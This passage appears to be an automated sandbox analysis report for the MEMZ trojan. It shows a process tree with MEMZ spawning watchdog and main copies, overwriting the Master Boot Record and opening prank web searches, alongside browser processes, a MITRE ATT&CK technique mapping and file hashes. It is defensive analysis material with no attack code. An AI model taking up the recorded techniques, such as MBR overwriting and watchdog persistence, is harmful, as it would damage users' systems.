  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3208 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:5544
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5412 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:2348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=3272 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:6092
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5212 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:3648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5428 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:1944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5736 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:5908
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4628 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:5904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5216 --field-trial-handle=1972,i,12655465598724549668,4398838398541964908,131072 /prefetch:8
  2⤵
  PID:5860
- C:\Users\Admin\Downloads\MEMZ.exe
  "C:\Users\Admin\Downloads\MEMZ.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:5840
- - C:\Users\Admin\Downloads\MEMZ.exe
    "C:\Users\Admin\Downloads\MEMZ.exe" /watchdog
    3⤵
    - Executes dropped EXE
    PID:5360
- - C:\Users\Admin\Downloads\MEMZ.exe
    "C:\Users\Admin\Downloads\MEMZ.exe" /watchdog
    3⤵
    - Executes dropped EXE
    PID:5524
- - C:\Users\Admin\Downloads\MEMZ.exe
    "C:\Users\Admin\Downloads\MEMZ.exe" /watchdog
    3⤵
    - Executes dropped EXE
    PID:5436
- - C:\Users\Admin\Downloads\MEMZ.exe
    "C:\Users\Admin\Downloads\MEMZ.exe" /watchdog
    3⤵
    - Executes dropped EXE
    PID:5272
- - C:\Users\Admin\Downloads\MEMZ.exe
    "C:\Users\Admin\Downloads\MEMZ.exe" /watchdog
    3⤵
    - Executes dropped EXE
    PID:5564
- - C:\Users\Admin\Downloads\MEMZ.exe
    "C:\Users\Admin\Downloads\MEMZ.exe" /main
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    PID:5004
  - - C:\Windows\SysWOW64\notepad.exe
      "C:\Windows\System32\notepad.exe" \note.txt
      4⤵
      PID:3412
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://google.co.ck/search?q=bonzi+buddy+download+free
      4⤵
      PID:724
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcee7246f8,0x7ffcee724708,0x7ffcee724718
        5⤵
        
        PID:3916
- C:\Users\Admin\Downloads\MEMZ (1).exe
  "C:\Users\Admin\Downloads\MEMZ (1).exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:4592
- - C:\Users\Admin\Downloads\MEMZ (1).exe
    "C:\Users\Admin\Downloads\MEMZ (1).exe" /watchdog
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4388
- - C:\Users\Admin\Downloads\MEMZ (1).exe
    "C:\Users\Admin\Downloads\MEMZ (1).exe" /watchdog
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:6116
- - C:\Users\Admin\Downloads\MEMZ (1).exe
    "C:\Users\Admin\Downloads\MEMZ (1).exe" /watchdog
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4208
- - C:\Users\Admin\Downloads\MEMZ (1).exe
    "C:\Users\Admin\Downloads\MEMZ (1).exe" /watchdog
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2776
- - C:\Users\Admin\Downloads\MEMZ (1).exe
    "C:\Users\Admin\Downloads\MEMZ (1).exe" /watchdog
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3888
- - C:\Users\Admin\Downloads\MEMZ (1).exe
    "C:\Users\Admin\Downloads\MEMZ (1).exe" /main
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Writes to the Master Boot Record (MBR)
    PID:6120
  - - C:\Windows\SysWOW64\notepad.exe
      "C:\Windows\System32\notepad.exe" \note.txt
      4⤵
      PID:3328
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://google.co.ck/search?q=how+to+download+memz
      4⤵
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of SendNotifyMessage
      PID:208
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcee7246f8,0x7ffcee724708,0x7ffcee724718
        5⤵
        
        PID:5352
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2160 /prefetch:2
        5⤵
        
        PID:3556
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2212 /prefetch:3
        5⤵
        
        PID:5124
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2944 /prefetch:8
        5⤵
        
        PID:3616
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:1
        5⤵
        
        PID:2700
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:1
        5⤵
        
        PID:1128
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4896 /prefetch:1
        5⤵
        
        PID:5888
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5116 /prefetch:1
        5⤵
        
        PID:1920
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5288 /prefetch:8
        5⤵
        
        PID:828
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5288 /prefetch:8
        5⤵
        
        PID:3972
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5372 /prefetch:1
        5⤵
        
        PID:1928
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2148,16717717851403078172,11642073343979708877,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5776 /prefetch:1
        5⤵
        
        PID:5556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://google.co.ck/search?q=how+to+create+your+own+ransomware
      4⤵
      PID:5808
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcee7246f8,0x7ffcee724708,0x7ffcee724718
        5⤵
        
        PID:4696
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2072,10391963203899230404,17553945004110543485,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2076 /prefetch:2
        5⤵
        
        PID:2540
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2072,10391963203899230404,17553945004110543485,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2184 /prefetch:3
        5⤵
        
        PID:992
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2072,10391963203899230404,17553945004110543485,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2780 /prefetch:8
        5⤵
        
        PID:3560
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,10391963203899230404,17553945004110543485,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
        5⤵
        
        PID:4416
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2072,10391963203899230404,17553945004110543485,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
        5⤵
        
        PID:3492

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:1212

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcef59ab58,0x7ffcef59ab68,0x7ffcef59ab78
  2⤵
  PID:1836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1704 --field-trial-handle=1976,i,5519097640398876796,4623304279716977936,131072 /prefetch:2
  2⤵
  PID:5604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2000 --field-trial-handle=1976,i,5519097640398876796,4623304279716977936,131072 /prefetch:8
  2⤵
  PID:5608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2244 --field-trial-handle=1976,i,5519097640398876796,4623304279716977936,131072 /prefetch:8
  2⤵
  PID:1036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3068 --field-trial-handle=1976,i,5519097640398876796,4623304279716977936,131072 /prefetch:1
  2⤵
  PID:3308
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3076 --field-trial-handle=1976,i,5519097640398876796,4623304279716977936,131072 /prefetch:1
  2⤵
  PID:1420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3608 --field-trial-handle=1976,i,5519097640398876796,4623304279716977936,131072 /prefetch:1
  2⤵
  PID:6060
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4504 --field-trial-handle=1976,i,5519097640398876796,4623304279716977936,131072 /prefetch:8
  2⤵
  PID:6072
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3612 --field-trial-handle=1976,i,5519097640398876796,4623304279716977936,131072 /prefetch:8
  2⤵
  PID:5500

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:5668

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious use of SendNotifyMessage
PID:2540

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5724

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4532

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5788

C:\Users\Admin\Downloads\MEMZ (1).exe
"C:\Users\Admin\Downloads\MEMZ (1).exe"
1⤵
- Executes dropped EXE
PID:4432

C:\Users\Admin\Downloads\MEMZ.exe
"C:\Users\Admin\Downloads\MEMZ.exe"
1⤵
- Executes dropped EXE
PID:2928
- C:\Users\Admin\Downloads\MEMZ.exe
  "C:\Users\Admin\Downloads\MEMZ.exe" /watchdog
  2⤵
  PID:4408
- C:\Users\Admin\Downloads\MEMZ.exe
  "C:\Users\Admin\Downloads\MEMZ.exe" /watchdog
  2⤵
  PID:5708
- C:\Users\Admin\Downloads\MEMZ.exe
  "C:\Users\Admin\Downloads\MEMZ.exe" /watchdog
  2⤵
  PID:5424
- C:\Users\Admin\Downloads\MEMZ.exe
  "C:\Users\Admin\Downloads\MEMZ.exe" /watchdog
  2⤵
  PID:4000
- C:\Users\Admin\Downloads\MEMZ.exe
  "C:\Users\Admin\Downloads\MEMZ.exe" /watchdog
  2⤵
  PID:5232
- C:\Users\Admin\Downloads\MEMZ.exe
  "C:\Users\Admin\Downloads\MEMZ.exe" /main
  2⤵
  PID:2480
- - C:\Windows\SysWOW64\notepad.exe
    "C:\Windows\System32\notepad.exe" \note.txt
    3⤵
    PID:4112

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5960

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Filesize
40B

MD5
59b33393f79d6b2739962ecede5d2600

SHA1
6964782036fef08504dcc7d213f21bad71c4957b

SHA256
c208be034f14889af4bf6163de9930af6b4fbd75a25cf0937b8af9022f2f1ee3

SHA512
d9245fd00afedd2a4618b5a7b069d4ed97642a81b090280a4a08ebd43352fc897af635102b74913dae63dd7af52be720e24d02b524b5825c40c27dd52f6f0708

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
3KB

MD5
3299d8461c4dc1f4a27e4c5dbb88e8a9

SHA1
2676125e0f057e4419966dbd4fefbcb7f38a3cfd

SHA256
b5e1f0ebf8e58f813574c31d714ecdb67f9a431f3001e4d93d34150a74d2b588

SHA512
92527f74ce5bef12ba35ce2872bcfe7427352c8826969a991b13e096bfd10d71dee349630f7b6ed6fff0008655834a49dadf7b3ddb84a94eed5e51d31d37fbf3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
d55c0f03998110f47e05afefb88845dc

SHA1
0885f2c2762e04bcba3b7ba87600cfd2034eedce

SHA256
787bf9c647d6d6175309fd4b00b690f755ce67b1800cd8f785b5954531c3af41

SHA512
9563dcf04726669fee37715a7696fc279beb4e0bd39dce01025d1b3b2d89e93705c7c66febf74e3307610c55e492b0a8a14dde75a751ed322a6b9e419f381fdc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
4KB

MD5
5fea4cb6565196af3fbc0947728fb378

SHA1
8189205606a771e98600de4108e3c913cce856ad

SHA256
1d6c734c14e10ba8fdc4eb8dd5093d4f12dede88ab2a45a07772380d1737bfc2

SHA512
449dfb6025f3117f9761404b55bc2092e2a05f2acf25cbe5d2b2c0e4aae0adf7339d1cb336f6207f0a8df8ea7d83484de2f78074ee871ba31f6be998a2af82b1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
4KB

MD5
70a6271e7b2f6d4667268b1a67219c7d

SHA1
229650e4e1f5c06c0a85e0bf21be8200dfe2c411

SHA256
022a67c3ff7e734d3fc9e5c06f6b4b69c83ac1f95e1eb44f158a516cdf63bebf

SHA512
a9c7e480ce84d966e268be4410b5a15a2b4a060c3d1550f07fbcabd5c911ed2efa100530e2ad91ea3b63f25ebbb0b7770bb587d927cc651f365f2b2471034c0f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
524B

MD5
65c76e233afaec385d7707708e02bf6b

SHA1
a31b5159313fa3cede3faae24a88ce94010e3968

SHA256
c47cf1b58fb609d4a62700ea4857477396d39b8d57bbd8acae5e1db8b718337d

SHA512
26a361c5de2a9030ebdf3954fc7e8ce28862c177bb664acb5f4c5017b70bd4ffc2acab9e70dd1e99d39c55e5b37baf3e0017049b5ce2955f4d19f093d6e5d499

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
ae1811483f26b1953fe37e3935f355fc

SHA1
3aeeaa8d73a6033d312873a5ac64ed710477927e

SHA256
d42eda4947ac16d6b67b3a501b64aaaa1931ddad2119a81e0a435b2e39af96c8

SHA512
843ddb6867b08ead0cf9e56093786fb93620cda67e997d4f320d630b891cbbf8b0a7b6e3d0429ba4ff13f393db3e8b850f999cb3d008dca45ed4283b6b6e258b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
ffbd82f4796ccc3354ab0213b6e1037c

SHA1
23d840a11b5778dd1b9422dd7523a082687d488f

SHA256
050aa2302029377887ebe616928cd37745bc4a1125f1a869f44403d4bae09941

SHA512
05e5f33cac2d4b249a7aee80aa0d7adb6075039bee2caaa140c9e1420aa85e1b1074b71b1c1c0424d658948e37a682c7e2f98f33dc1b6b459c7ffb87adfd13b3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
eb4ec473f538d6d739b248ef4e111403

SHA1
961ef40a105cb64cb12e3dde458277d6fadf2dca

SHA256
eb4b44b010705563aee6255fbd6671da7b6e56521ce729aac9f0843108841234

SHA512
1ffcaa57cff9f0b8d654827a69df73a803a150cf0bf0cec535c43726acad02f2d65e6f32f085f891da7bfc556128ac5876924b9f658a9e8d680fef451a3eda2f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
7KB

MD5
c099e880e9d79ead06fa69634338874d

SHA1
580214b1653475f67568a76a67c3df88357e8d3c

SHA256
920dd743525cd04c1e430ecfaf52bb63d9118be5a10473f5e380133e05742cb9

SHA512
b5356fd8a14717eebd1c289d7f59bffd07cf379423df6fe6679ea3c90b36c961bbfc9d1f2169fa06f2576eba808decef4c98974742c770def4359fdeec362d82

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
